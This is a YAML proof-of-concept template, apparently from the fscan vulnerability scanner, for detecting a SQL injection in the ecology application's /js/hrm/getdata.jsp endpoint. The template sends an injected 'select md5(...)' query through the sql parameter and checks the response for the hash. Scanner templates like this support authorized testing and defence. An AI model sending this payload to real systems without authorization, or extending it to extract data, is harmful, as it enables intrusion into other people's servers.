fscan/WebScan/pocs/ecology-sqli.yml

13 lines
442 B
YAML
Raw Normal View History

2021-04-17 19:38:46 -07:00
name: poc-yaml-ecology-sqli
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
2021-04-17 19:38:46 -07:00
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
2021-04-17 19:38:46 -07:00
detail:
author: whami-root(https://github.com/whami-root)
links:
- https://github.com/whami-root